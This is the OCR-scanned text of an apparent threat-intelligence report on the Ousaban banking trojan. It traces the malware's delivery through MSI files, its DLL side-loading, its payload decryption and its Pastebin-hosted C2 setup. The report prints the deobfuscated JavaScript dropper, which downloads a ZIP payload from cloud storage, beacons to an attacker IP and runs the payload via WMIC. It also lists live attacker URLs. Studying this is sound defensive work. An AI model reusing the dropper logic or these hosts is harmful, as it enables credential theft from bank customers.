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Summary

Ousaban (a.k.a. Javali) is a banking malware that emerged between 2017 and 2018, with the
primary goal of stealing sensitive data from financial institutions in Brazil. This malware is
developed in Delphi and it comes from a stream of LATAM banking_trojans sourced from
Brazil, sharing similarities with other families like Guildma, Casbaneiro, and Grandoreiro.
Furthermore, the threat often abuses cloud services, such as Amazon S3 to download
second stage payloads, and Google Docs to retrieve the C2 configuration.

Netskope Threat Labs came across recent Ousaban samples that are abusing multiple cloud
services throughout the attack flow, such as Amazon or Azure to download its payloads and
log the victim’s IP, and Pastebin to retrieve the C2 configuration. The malware is downloaded
through MSI files either by a JavaScript or a Delphi DLL, and is targeting more than 50
financial institutions in Brazil. Furthermore, we also found Telegram abuse in the malware
code, likely used for C2 communication via Webhooks.
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https://www.netskope.com/blog/ousaban-latam-banking-malware-abusing-cloud-services
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Ousaban - Attack Flow Summary

Endpoint
Victim

" Download via ™,
+ JavaScript or DLL I H
= i
Executes ' l '
—>! i
: | E
MS| d EXE ;
E Side-Load l .

Network Request Second Stage

to log the IP Download

Azure or

Other Server

Legitimate
Binary
— 23
Side-Load
‘ \ Decrypts /
Executes
DLL Sy DLL |
Qusaban Loader
c2 c2
Configuration Communication

Pastebin or
Google Docs

Attacker

In this blog post, we will analyze Ousaban, showing its delivery methods, obfuscation

techniques, and C2 communication.

Delivery methods

Ousaban is delivered through malicious MSI files spread in phishing emails. In this
campaign, we found that the MSI file downloads and executes the second stage either

through JavaScript or a PE file.

Delivery by JavaScript

In the first scenario, the JavaScript is executed via CustomAction.

Control SET_SHORTCUTDIR 307 SHORTCUTDIR [ProgramMenuFolder][ProductMame]
ControlCondition A|_CORRECT_INSTALL 31 Al_INSTALL {}

ControlEvent AlSET_INSTALL 31 Al_INSTALL 1

CreateFolder ALSET_MAINT 51 Al_MAINT 1

Customdction H 51 Al_PATCH 1

Dialog Al_SET_RESUME 31 Al_RESUME 1

Directory Al_DOWNGRADE 19 4010

Error Al_PREPARE_UPGRADE 65 aicustact.dll PreparelUpgrade

EventMapping Al_DATA_SETTER 31 Al_RemoveAllTempFiles [AI_TEMP_FILE_ROLLBACK_INFO]

Feature Al_RemoveAllTempFiles 1281  tempFiles.dil RemoveAllTempFiles

FeatureComponents ExecuteScriptCode a7 var F=Y:function ¥(x,h}{var H=z{);return Y=function(c,g}{c= c-Ox‘Ic']
File A|_STORE_LOCATION 31 ARPINSTALLLOCATION [APPDIR] -

MSI file executing JavaScript.

The JavaScript code is obfuscated, likely in an attempt to slow down analysis.
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https://docs.microsoft.com/en-us/windows/win32/msi/customaction-table

var F=Y:;function Y(x,h) {var H=z() ;return Y=function(c,g) {c=c-0xlicT;

ivar t=H[c]:return t:!},Y(x,h):} (function(x,h){var S=Y He=x() :while

(e [t'.ry{var cm=-parseInt(S(oxlc .}}f x .+parsalnttst x1d2) }f x24-

E@rse[ntist 2)) fox3+parselnt {S{0xlda)) fO: *t-parselnt{St c) )/

03 —parseInttS( xlea)) —parseInttS( x1le3)) fos *{parseInttS{
Jxleg)) fox3)+parselnt (5 ( ) foxs itparseInt(St )} foxza) ;if{c—=h

P break;else H['push'] (H['shift'] ())s}catch(g) {H[' 1'] (H['shift"®

10)) (2, 0x7cead)) ivar
_S 954563945?93556323734263941239563185192347948536547356-[?( x Y.

,!‘t I F(O0xlee) ,F(0x20€),F({0x1d4),F{0x201),F(0x1d7),F(0xlec),F({
4 2 } F{0x20 } Ft xlcf) ,F{0x1d3) ,F{0xle2) F{0xle5) ,F{0xldd
€) ,F{0x208) ,F{0x1fl) ,F(0x Dx

), F(0x20c) ,F(0x1ce) ,F(C

.'.'-:L:L],"\XEZ",F( C
x £3) ,F{0x1ldeé) ,F{0x

£4) ,F(Ox ].'\X;b rF( xled < -
ie) ,F({0x ) F(0x 2) ,F{0x1d0) ,F(0Oxled4) ,F({0x204) ,F({0xle8), F[ . Aamazonaws.com/mom. pdf I
x20e) , "\ x27",F{0x2 "}]:tunction Jimyﬂel\:ronFPStxl {var h-ne- Date(), v
=0x0 ;while (H<x*(x3=3) {var c=new Date() ,H=c|[

| $ 954568945793856823734263947239563485792347948536847356 [0x0]]1 ()-h[
| $ 954568945793856823734263947239563485792347948536847356[0=011() : }}
ifunction xmcnvemvbjkhsdgsgdsdfr (x) {var H=
| §_954568945793856823734263947239563485792347948536847356([0x1],c=
s 9545€68945793856823734263947239563485792347948536847356([0x2]) :for(

JavaScript code extracted from the MSI file
Looking at the deobfuscated code, these are the steps executed by the malware:

1. Creates an empty file to be used as a flag in case the MSI is executed twice (similar
concept as Mutex usage);

2. Downloads the second stage from the cloud, either from Amazon or Azure;

3. Decompress the ZIP file downloaded from the cloud and renames the main executable;

4. Sends a simple GET request to another URL (Azure or another attacker-controlled
server), alerting the attacker and logging the victim’s IP;

5. Executes the main file via WMIC.

if (meulBJvar['FileExists'](dskp_textoUni)) {}
else {

try {
var txt = new ActiveXObject('Scripting.FileSystemObject’),
5 = txt['CreateTextFile® ](codersshell_exc['expandEnvironmentStrings® ](*%userprofile%') + 'C:\\ProgramData\\wbctrD7Fz.tmp*, !![]1);
s['Writeline' J{"NULL"),
s['Close’1(); 1
} catch (P) {};

var fs_obj = new ActiveXObject('Scripting.FileSystemObject');

fs_obj["CreateFolder' J{usuaric_prof_varts),

JimmyNeltronFPS({@x1), // Sleep

downylr(paylead_url, ususric_prof_wvarts + "\\' + unicohsajke + '.zip'),

JimmyNeltronFPS{8x2); // Sleep 2

var gZIPrarziping = new ActiveXObject('Shell.fpplication');

MNyFilezilp = gZIPrarziping['MNameSpace’](usuario_prof_varts + '\\' + unicohsajke + '.zip')['items'](),
g7IPrarziping[ ‘NameSpace' ]{usvario_prof_varts + '\\')}['CopyHere']{MNyFilezilp),

JimmyNeltronFPS(@x2),

fs_obj[ "MoveFile' ]{usvario_prof_varts + '\\Isname.name', usuvario_prof_varts + '\\' + unicohsajke2 + '.exe"); 3

var colocando_starting = usuario_prof_varts + '\\" + unicohsajke? + '.exs',

http_obj = new ActiveXObject( WinHttp.WinHttpRequest.5.1%);
http_obj[*epen'1("GET', "http://168.61.184.94/mgsp/marcador.php', ![1), 4
http_obj[*send’]();

var btcadacoins = new ActiveXObject('WScript.Shell'); Ei

btcadacoins[ 'Run']{"%windir®\\System32 \Wbem'\\WMIC.exe process call create " + colocando_starting + "");

Deobfuscated JavaScript extracted from the MSI file.
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https://lolbas-project.github.io/lolbas/Binaries/Wmic/

Delivery by File

We also found Ousaban being delivered without JavaScript. In this case, we can see a file

named “avisoProtesto.exe” being executed via MSI CustomAction.

Tables
AdvitExecuteSequence
Binary
CheckBox
ComboBox
Component
Condition
Control

ContrelCondition

ControlEvent

CreateFolder

Dialeg
MSI executing a PE file.

Action T...
Al_InstallModeCheck 1
Al_SHOW _LOG 63
avisoProtesto.exe
Al_SET_ADMIM 51
Al_ResolveknownFolders 1
Al_DpiContentScale 1
Al_BACKUP_Al_SETUPEXEP 51
Al_RESTORE_AI_SETUP ATH 5
SET_APPDIR 307
5 IR 307
Al_CORRECT_IMSTALL 51
Al_SET_IMSTALL 51

Source
aicustact.dll

aicustact.dll

| 1554 | avisoProtesto.exe

Al_ADMINM

aicustact.dll

aicustact.dll
Al_SETUPEXEPATH_ORIGIMNAL
Al_SETUPEXERPATH

APPDIR

SHORTCUTDIR

Al_IMSTALL

Al_INSTALL

“avisoProtesto.exe” is a signed and non-malicious binary exploited to execute the malicious
DLL via DLL search order hijacking.

crashreport.dil
—

@ avisoProtesto.exe

%] msver120.dl1
dnplycoredll
D ADUemev, 101 wars
[ aapt.exe

[#5] adb.exe

[55] za.exe
msvep120.dll
@ bugreport.exe
libeurl.dll

: apk_icon.ico
[8g] dncensole.exe
[55] Idconsole.exe
ssleay32.dll
dnutility.dil

Entry point
006f44c8

Export Import

(
Sections n stam
000a .

Scan Endianness Mode

2022-07-15 07:40: 24

Detect It Easy(DiE) LE 32-hit

Compiler

Size of image

003b3000

Base address

Memory map

Embarcadero Delphi(XE8)[-]

Linker Turba Linker(2.25%, Delphi)[DLL32]

File type Entry point

PE32 004alcdf
Import =
tamp
11-05 00:09:46
Endianness

ct It Easy(DiE) 1=

Compiler

Linker Microsoft Linker(12.0%)[GUI3

Non-malicious binary used to load the malicious DLL.

Disasm
Resources

Base address

Memory map

Qverlay

Rest
Manifest Version

ture Type
GUI

Microsoft Visual C++(2013)[-]
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https://docs.microsoft.com/en-us/windows/win32/msi/customaction-table
https://attack.mitre.org/techniques/T1574/001/

This is possible because the non-malicious binary loads a DLL named “crashreport.dil”’
without specifying the real path of the library. Therefore, the attacker places a DLL with the
same name in the same folder of the executable, making it load the malicious DLL instead.

Binary vulnerable to DLL

T GLL el
push offset alrashreportDll ; "crashreport.dll”
lea ecx, [ebp+lplLibFilelame] ; void *
mov [ebp+var_4], ©
call sub 41E798
cmp [ebp+var 224], B8
lea eax, [ebp+lplibFilelName]
cmovnb eax, [ebp+lplLibFilellame]
push eax ; lplLibFilelame
call ds:LoadlLibraryl
mow esi, eax
test esi, esi
jz loc_42B148@
mow edi, ds:GetProcAddress
push offset ProclName ; "InitBugReport”
push esi ; hModule
call edi ; GetProclAddress
test eax, eax

3z Short loc 228140
hijacking.

In this case, both next-stage and tracker URL are loaded from a text file, named “FileLinks”.

[~ FileLinks E3

1 http:/fle8.61.184. 594/ mgsp/marcador. php

-y

2 https://homel30Tmpx. 3. amaronaws . comn/ gox . pdf

malware.

All the files we analyzed were downloading the next stage from the cloud, either Amazon or
Azure. In some cases, the URL used to log the victim’s IP address was also from Azure. All

the URLs can be found in our GitHub repository.

Loading the second stage

Malicious URLs loaded by the

The binary downloaded from the cloud is a ZIP file containing the next stage payload, which

is a Delphi DLL executed by a non-malicious binary.
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https://github.com/netskopeoss/NetskopeThreatLabsIOCs/tree/main/Ousaban

Entry paint

Base addre

Endianness Mode

32-bit

FE3 = 005db4bs
AllFrames
Commonh PE Export Impart
imageformatss Sections Time date stamp
libreoffices 2022-07-19 11:28:11
licenses
platforms -~

Detect It Eazy(DiE)
Rtf
tessdata Compiler

translations Linker
:B crashrpt_lang.ini
%] CrashRpt1403.dll

DebenuPDFLibraryDLL1212.dlI

File type Entry point
[=] ebook2pdf.exe =t} 0044739
D Host
[ e ]
[&] htmi2pdf.exe =
icudt34.dll Sections Time date stamp
icuin54.dll 0005 > 2021-11-01 12;
=] icuuci4.dil N
5 — I Scan
4 Securityobd3.exe
£4 Detect It Easy(DiE)
2] libcurl.dll
libeay32.dIl Compiler
libEGL.dll Library
libGLESW2.dll Linker
[%] liblept168.dlI

Files downloaded from the cloud.

Import

Endianness

Microsoft Linker(1

Embarcadero Delphi(XE8)[-]
Turbo Linker(2.25%, Delphi)[DLL32]

Base address

00400000 Memory map

Overlay

Size of image

00214000

Res 5
Manifest Version

Architecture

Mode Type

32-bit 1386 GUI

Microsoft Visual C++(2013)[-]

Gt(5.6.0.0)[-]

I[GUI32,signed]

The file executed by the malware is a non-malicious executable with a valid signature

(“Securityo6Z3.exe”).

p  Certificate

General

Details  Certification Path

|= ﬁ Certificate Information

This certificate is intended for the following purpose(s):

* Ensures software came from software publisher
* Protects software from alteration after publication

*Refer to the certification autharity's statement for details.

Issued to: Icecream Apps Ltd

Issued by: Sectigo RSA Code Signing CA

Valid from 1/13/2021 to 1/14/2023

Install Certificate... | | Issuer Statement

by the malware.

Cetrtificate found in the file executed

6/16



The malicious DLL is then loaded by the non-malicious binary through a DLL search order
hijacking vulnerability, the same technique that is used by some of the downloaders.

push
lea
mov
push
push
mov
call
add

egax

eax, [esp+24h+var (]

large fs:8, eax

1Bh

offset aDebenupdflibra ;I“DebenuPD:Lib“a“yDLLiiii.dll”

[esp+2Ch+var 18], @
ds: ?fromiscii helper@QString@@CAPAL?$QTypedArrayData@GREPBEDHEZ ;

esp, o

malicious binary loading the next stage DLL.

Second stage

Non-

The second stage is a Delphi malware responsible for decrypting and loading Ousaban’s
payload in the following flow:

1. Loads the encrypted bytes of Ousaban from disk;
2. Decrypts Ousaban payload using a key stored in the “.data” section;

3. Decrypts the code that runs Ousaban using the same key, stored in the “.data” section.

;3 Ushell::vinking
@lshell@vinking db

db
db

db

Decryption

Key db
db
db
db
db
db
db
db
db

52h

B05h
BBDh
803h
BCeh
1Ah
BC9h
73h
88h
59h
7Ah
7Fh
62h
36h

e has ham b

e has has hae ke e ke s

s

P

LT}

=t

< rth A T

[}

; Ushell Ushell::eugenia

@lshell@eugenia db

?

Encrypted
Code

db
db
db
db
db
db
db
db
db
db
db
db
db
db

7
61h
53h
6Dh

g

BF5h
9Ch
1Ch

B0Fh

BESh
35h
A2h

BESh

5
78h

has ham s s b

key and encrypted code stored in the “.data” section of the second stage.
The encrypted payload of Ousaban is located among the files downloaded from the cloud,
named “ZapfDingbats.pdf’.

Decryption
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https://attack.mitre.org/techniques/T1574/001/

Offset (h) 00 01 02 03 04 05 06 07 08 09 OA OB OC OD OE OF
00000000 1F BO EF EE C6 21 CF 4A 8C 6E 7F 4A 91 FA F1 99

00000010 EO CB D9 CO C5 53 E8 46 A3 7A B9Y EA TE 9F 13 42

00000020 CO DA 7D OE BE 39 5C 39 EA EB 95 E0 8B 76 23 46

00000030 FB 1B 5 10 0B F6é €A

00000040 A8 FA F Ousaban E3 24 21 09

00000050 4C A3 F Encrypted Pﬂ}'lﬂﬂd 1E F2 26 39 _

00000060 F4 FA 5 ZE 04 43 11 Third stage encrypted
00000070 D2 75 22 12 SA Bl 04 B5 CC 35 AB 27 50 OA B6 €A

00000080 D2 EAR 3F EE 44 21 4F 4A 08 6E FO 4A EE 05 71 99

00000090 D8 CB 59 CO 45 53 68 46 63 7A 23 EA FE 9F 93 42

000000A0 40 DA FD OE 3E 39 DC 39 6A EB 15 E0 0B 76 A3 46

000000BO 7B 18 D1 20 §7 BB E0 82 OC 35 6B 27 90 OR 76 &R

000000CO 92 EA JF EE 04 21 OF 4A 48 6E BO 4A AE 05 31 99

ZapfDingbats.pdf

among files downloaded from the cloud.
Once running, the second stage loads Ousaban’s encrypted bytes, which will be decrypted
using the key stored in the PE “.data” section.

push offset loc_ 5DBCCA

push dword ptr fs:[eax]

mov fs:[eax], esp

lea eax, [ebp+var_8] ; this
call @Systemgloutils@TPath@GetlibraryPath ; System::Ioutils::TPath::GetlibraryPath
lea eax, [ebp+var 8] ; int

mov edx, offset aZapfdingbatsPd ;| "ZapfDingbats.pdf
call @System@@Ustriatiqqrr28SystemglUnicodestringxZooystemgUnicodeString ; System::_ linkproc_ UStrlat

mov eax, [ebp+var_ 8]

call @Ushell@Decript isApp$gqr2@System@UnicodeString ; Ushell::Decript isfApp(System::UnicodeString)
xor eax, eax

pop edx

pop ecx

pop ecx

Encrypted Ousaban payload being loaded.
Aside from decrypting the payload, the second stage also decrypts the code that will execute
Ousaban in runtime, probably to slow down reverse engineering.
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call @5ystem@gClasses@lTStream@CopyFrom ; System::Classes::TStream: :CopyFrom

push 8

push 8 ; _ inted

mow eax, [ebp+payload data] ; this

call @System@Classes@lstream@SetPosition$ggrxj ; System::Classes::TStream: :SetPosition
lea eax, [ebpsdwSize]

push eax ; unsigned int *

mow edx, offset @Ushell@vinking ; woid *

mow eax, [ebp+payload data]

mow eax, [eax+4] ; this

mowv ecx, 48h ; '@ ; wvoid *

call @Ushell@Decodingdqqrpvtluirui ; Ushell::Decoding(void *,void *,uint,uint &)
mow [ebp+decoded data], eax

mow |ebp+dwsCSize], 2FCh

lea eax, [ebp+dwSCSizel

push eax ; unsigned int *

mow edx, offset @lUshellgvinking ; woid *

mow eax, offset @Ushelljgeugenia ; Ushell::eugenia

mow ecx, 48h ; '@ ; wvoid *

call @Ushell@becoding$qqrpvtluirui ; Ushell::Decoding(void #*,void *,uint,uint &)
mow [ebp+injector code], eax

mow eax, [ebp+decoded datal

Second stage decrypting and loading Ousaban payload.
We created a Python script that can be used to statically decrypt Ousaban payloads, using
the same algorithm found in the malware. The code can be found in our GitHub repository.

Important API calls used by this stage are also dynamically resolved, another common
technique to slow down reverse engineering.

push
push
call
push
call
mov

push
push
call
push
call
mow

push
push
call
push
call
mov

push
push
call
push
call
moss

offset aVirtualalloc @ | "VirtualAlloc™
offset aKernel32D1l 8 ;§"kernel32.dll”
@kinapi@Windows@lLoadlibrary$qqgspb ; Winapi::Windows::loadlibrary{wchar t *)

eax ; this

@Winapi@Windows@GetProcAddress$qqsuipb ; Winapi::Windows::GetProcAddress(uint,wchar_t #)
[ebp+var_48], eax
offset aloadlibrarya ;||"LoadlLibraryA”
offset aKernel32D1l 8 "kernel3d2.dll"”
@Winapi@Windows@lLoadlibrary$qqspb ; Winapi::Windows::Lloadlibrary(wchar_t *)

eax ; this

@Winapi@Windows@GetProcAddress$qqsuipb ; Winapi::Windows::GetProcAddress(uint,wchar_t *)
[ebp+var 3C], eax
offset aGetprocaddress ;J "GetProcAddress”
offset akKernel32D11l 8 ; fkernel32.d11"
@Winapi@Windows@Loadlibrary$qqspb ; Winapl::Windows::Loadlibrary(wchar_t *)
eax ; this
@Winapi@Windows@GetProcAddress$qqsuipb ; Winapi::Windows::GetProcAddress(uint,wchar t #)
[ebp+var_38], eax
offset aVirtualprotect "VirtualProtect”
offset aKernel32D1l 8 ;§"kernel32.dll”
@hinapi@Windows@LoadlLibraryyqqspb ; Winapi::Windows::Loadlibrary(wchar t *)

eax ; this

@hinapi@Windows@GetProcAddress$qqsuipb ; Winapi::Windows::GetProcAddress{uint,wchar t *)
[ebp+var_34], eax

APIs dynamically loaded by the malware.
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https://github.com/netskopeoss/NetskopeThreatLabsIOCs/tree/main/Ousaban/script

Ousaban payload

Ousaban is a Delphi banking trojan, mainly focused on stealing sensitive data from financial
institutions in Brazil. As previously mentioned, Ousaban shares many similarities with other
Brazilian banking malware, such as the algorithm to decrypt the strings and overlay
capabilities.

Ousaban commonly packs/protects its payloads with UPX or Enigma.

File type Entry point address

Bas
PE32 00917670 > Disasm 00400000 Memory map
- .. T - ® - . ]
PE Export Import ES0Urces

ctions Time date stamp Size of image Resources

e e ]
LI = 2022-07-20 11:32: 14 00512000 Version

Scan Endianness Mode Architecture Type

Detect It Easy(DiE) LE 32-hit 1386 DLL
Packer LUPX(3.971)[ MRV, brute]

Compiler Borland Delphi(-)[-]

Linker Turbo Linker(2.25%, Delphi)[DLL32)

Ousaban payload packed with UPX.
One of the most characteristic aspects of Brazilian-sourced banking malware is the algorithm
used to encrypt/decrypt important strings.
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https://upx.github.io/
https://enigmaprotector.com/

e
[

1

I

o

w

1

o

o

w

7

o

I

o

strings.

The algorithm used as a base by these trojans was originally demonstrated in a Brazilian

Sext:007EY..
Sext:007EY..
Sext007EY..
Sexti00VEY.
Jext007EY..
Sext007EY..
Sext:007EY..
Sexti007EY..
Sext:007EY..
Sext:007EY..
Sext007EY..
Sexti00VEY.
Jext007EY..
Sext007EY..
Sext:007EY..
Sexti007EY..
Sext:007EY..
Sext:007EY..
Sext007EY..
Sexti00VEY.
Jext007EY..
Sext007EY..
Sext:007EY..
Sexti007EY..

Qoonoo32
00000024
Q0000042
Qoonoo22
00000025
Q0000035
Q0000025
00000a3E
Q0o0o0zE
Q0o0o0zE
00000025
0000002s
00000025
Q0000045
Qoo0ooz2
00000014
00000034
00000015
00000035
0000002s
Q00000 1E
Q00000 1E
Q0000035
00000025

c(l..
C(l..
C(l..
C(l..
c(l..
C(l..
c(l..
C(l..
c(l..
C(l..
C(l..
C(l..
c(l..
C(l..
c(l..
C(l..
c(l..
C(l..
C(l..
C(l..
c(l..
C(l..
c(l..
C(l..

J93EF10211CTaDCAS 1AS4195
7430879ESABE51A05336
ACDB00ZTEE17 22D69ABE/DIC25195A 722
5334BC45E904EAS2
A1B6eDBCEBEATISALE
DCOE26EE IF3BED 3 1CE 74D S4CED
8585A743CC0O7F22C058
F&7B90D55080F 758 16E639732D 21224
D275B6TEAASSA16FB 2TDED
98AA4DE133DFGF230CBCEF

11240 368BC68388.274
36FB2D14101DE10250

5207708 25ED1027CE2C
D354F430FD 24 132 2FB3DF950CASSEACAS2
F31C2BEF 25D 37Fa4

01E6110253FE
ACACAFES23D0A9BA40D0 1EBS5CI0C
39906897310

36C4756 243E3096EAD45ECEEEA
FS7ASASCAASIOFS2DZ
A1FFO620077CE7

C848F045CD4D 15
ESOBEDAETOA2IBAS03B74095TF

543 2BA44233CDAZSFT

Ousaban encrypted

magazine called “Mestres Da Espionagem Digital” in 2008. Simply put, it parses the

hexadecimal string and uses a chained XOR operation with the key and the previous byte of

the string.
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https://www.amazon.com.br/Mestres-Espionagem-Digital-Master-Zion/dp/856048079X

call @System@sysutils@IntToStriggri ; System::Sysutils::IntToStr(int)
push [ebp+var_5C]

lea ecx, [ebp+var 60]
mow edx, offset aleB96dcfi5ac57 ,l”lESHEBC:752C5?S'6::BEBZBLQCQELZBLEZQLQB”..l

i pay offget E621@
rEle me_decrypt_string i

; CODE XREF: mw_decrypt_string+1291j
mov eax, [ebp+decryption_key]
movzx eax, word ptr [eax+esi*2-2]
xor ebx, eax
lea eax, [ebp+var 38]
push eax
mov [ebp+var_34], ebx
mov [ebp+var_38], ©
lea edx, [ebp+var_34]
xor ecx, ecx
mov eax, offset al2x ; "%1.2x"
call @System@sysutils@Format$gqrx28System@UnicodeStringpxl4System@gTVarRecxi
mov edx, [ebp+var 38]
lea eax, [ebp+var (]
call @System@g@Ustrlat$gqrr28System@UnicodeStringx20System@UnicodeString
mov edi, ebx
inc [ebp+var_1C]
dec [ebp+var_24]
jnz short loc_7E9DAA
jmp loc_7E9EF3

Part of the algorithm to decrypt the strings, commonly found in Brazilian banking malware.
We created a Python script that can be used to decrypt strings from malware that uses this
algorithm, such as Ousaban, Guildma, Grandoreiro, and others. The code can be used to
decrypt a single string:

Decrypting a single string from the malware.
Or to decrypt multiple strings at once, saving the result in a JSON file and also providing the
option to show in the console.
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https://github.com/netskopeoss/NetskopeThreatLabsIOCs/tree/main/Ousaban/script

ed configuration saved at: encrypted_strings.txt_decryp

strings:

s NT\CurrentVersio

Decrypting multiple strings from the malware.

Like other Brazilian-sourced malware, Ousaban monitors the title text from the active window
and compares it with a list of strings, to verify if the victim is accessing the website or an
application of one of its targets.

gall <sub_S5AFAE7C>

push eax eax:L"Securityold2.exe - PID: 8152 - Module: user32.dll
push ebx

call <IMP. &GetwWindowTextw:

lea edx,dword ptr ss:[ebp-8] [ebp-8]:L"securityol42.exe - PID: 8152 - Module: user3Z2
mov eax,dword ptr ss:[ebp-4] [ebp-4]:L"Securityol42.exe - PID: 8152 - Module: user32
call <sub_5514CE4}

mov edx,dword ptr ss:|[ebp-8] [ebp-8]:L"Securityold42.exe - PID: 8152 - Module: user32.
mov eax,<sub_5F01CD0= eax:L"securityol42.exe - PID: 8152 - Module: user32.dl1
call SAFASF4

lea ecx,dword ptr ss:|febp-10{] [ebp-10]: L M--ﬂg wdor Exclusivo”

mov edx, SEDELBED S5EDG1BO:L"ABBBSCE788AR53F00C1961957989AC16D149F82F"

mov eax,SEDG210 eax:L"Securityol42.exe - PID: 8152 - Module: user32.dl1

call SED9CAd

mov eax,dword ptr ss:|febp-10]] [
lea edx,dword ptr ss:|[ebp-C]] [
call {sub 5B14840=

Malware monitoring windows titles.
In the files we analyzed, we found Ousaban targeting over 50 different financial institutions. If
the window title matches one of the targets, Ousaban starts the communication with the C2

address, providing the option to the attacker to access the machine remotely.

ebp-10]: L ‘Navegador Exclusiv u
ebp-C] :L"NAVEGADOR EXCLUSIVO"

C2 communication

Ousaban stores the C2 address remotely. In this case, the malware is using Pastebin to fetch
the data. In 2021, this malware was also spotted using Google Docs to fetch this information.
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https://seguranca-informatica.pt/latin-american-javali-trojan-weaponizing-avira-antivirus-legitimate-injector-to-implant-malware/#.YuP-zuzML0o

Within the files downloaded from the cloud by the first stage, there’s a file named “Host”,
which stores the external location of the C2 configuration. The information is encrypted with
the same algorithm used in the strings.

%] DebenuPDFLibraryDLL1212.dII
[85] ebooklpdf.exe {Host 3 l

Host ‘ DST7CEL7387TEDAESAASTI1EACE34CCT6EEB0242E215F61FEETEB192BB68BCS25E85DD6S
ol

(&=l htmi2pdf.exe \_/
9 icudtsd.di

C2 configuration stored on Pastebin.
The data is stored in a dictionary, where the C2 host is also encrypted with the same
algorithm used in the strings.

i https://pastebin.com/raw/ljBaV. X | -
<~ @] (5] https://pastebin.com/raw/jljBaWsL

inicio{
"host":"CBBAALIABTAZEFE2DCEEC4CA ™,
"portal”:"443",

"portal”:"ga"

}fim

Retrieving and decrypting the C2 server address.
Ousaban only starts the communication once a targeted company is identified.

00  HTTP 20.9.46.243 [ép
00 HTTP 20.9.46.243 /¢l
200 HTTP 2.9.46.243 /% Oysaban C2 communication.
00 HTTP 20.9.46.243 /4l
00 HTTP 20.9.46.243 [ép
00 HTTP 20.9.46.243 /¢l

Lastly, the Ousaban samples we analyzed contain a routine to communicate via Telegram
using Webhooks, likely to be used as a secondary channel.
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call
lea
mowv
mowv
call
mowv
lea
call
mowv
mowv
add
call
push
lea
mowv
mowv
call
push
push
lea
mowv
mowv

CoIlnitialize

ecx, [ebp-7Ch]

edx, offset WinHttp_WinHttpRequest_5_1 ;
eax, offset dword_ FEAC2C
m«_decrypt_string

eax, [ebp-7Ch]

edx, [ebp-78h]
sub_668C7T0

edx, [ebp-78h]

eax, [ebp-24h]

eax, 18h

@System@Variants@@VarFromDisp$qqrr8TVarDatax355ystem@ Delphilnterface$9IDispatch  ;

8
ecx, [ebp-84h]

WinHttp.WinHttpRequest.5.1

edx, offset telegram_api https://api.telegram.org/

eax, offset dword_7EACZC
m«_decrypt_string

dword ptr [ebp-84h]

ds :dword_87C8(8

ecx, [ebp-88h]

edx, offset off_7EAEES@
eax, offset dword FEACZC

Part of Ousaban code to communicate via Telegram.

Conclusion

Ousaban is a malware designed to steal sensitive information from several financial
institutions, mainly based in Brazil. Ousaban shares many similarities with other Brazilian-
based banking trojans, such as Guildma and Grandoreiro. Also, as we demonstrated in this
analysis, the attackers behind this threat are abusing multiple cloud services throughout the
attack chain. We believe that the use of the cloud will continue to grow among attackers

especially due to cost and ease.

Protection

Netskope Threat Labs is actively monitoring this campaign and has ensured coverage for all

known threat indicators and payloads.

* Netskope Advanced Threat Protection provides proactive coverage against this

Netskope Threat Protection
o Win32.Malware.Heuristic
o Win32.Infostealer.Heuristic

threat.

o Gen.Malware.Detect.By.StHeur indicates a sample that was detected using static

analysis

o Gen.Malware.Detect.By.Sandbox indicates a sample that was detected by our

cloud sandbox
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I0Cs

All the 10Cs related to this campaign and scripts can be found in our GitHub repository.
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https://github.com/netskopeoss/NetskopeThreatLabsIOCs/tree/main/Ousaban

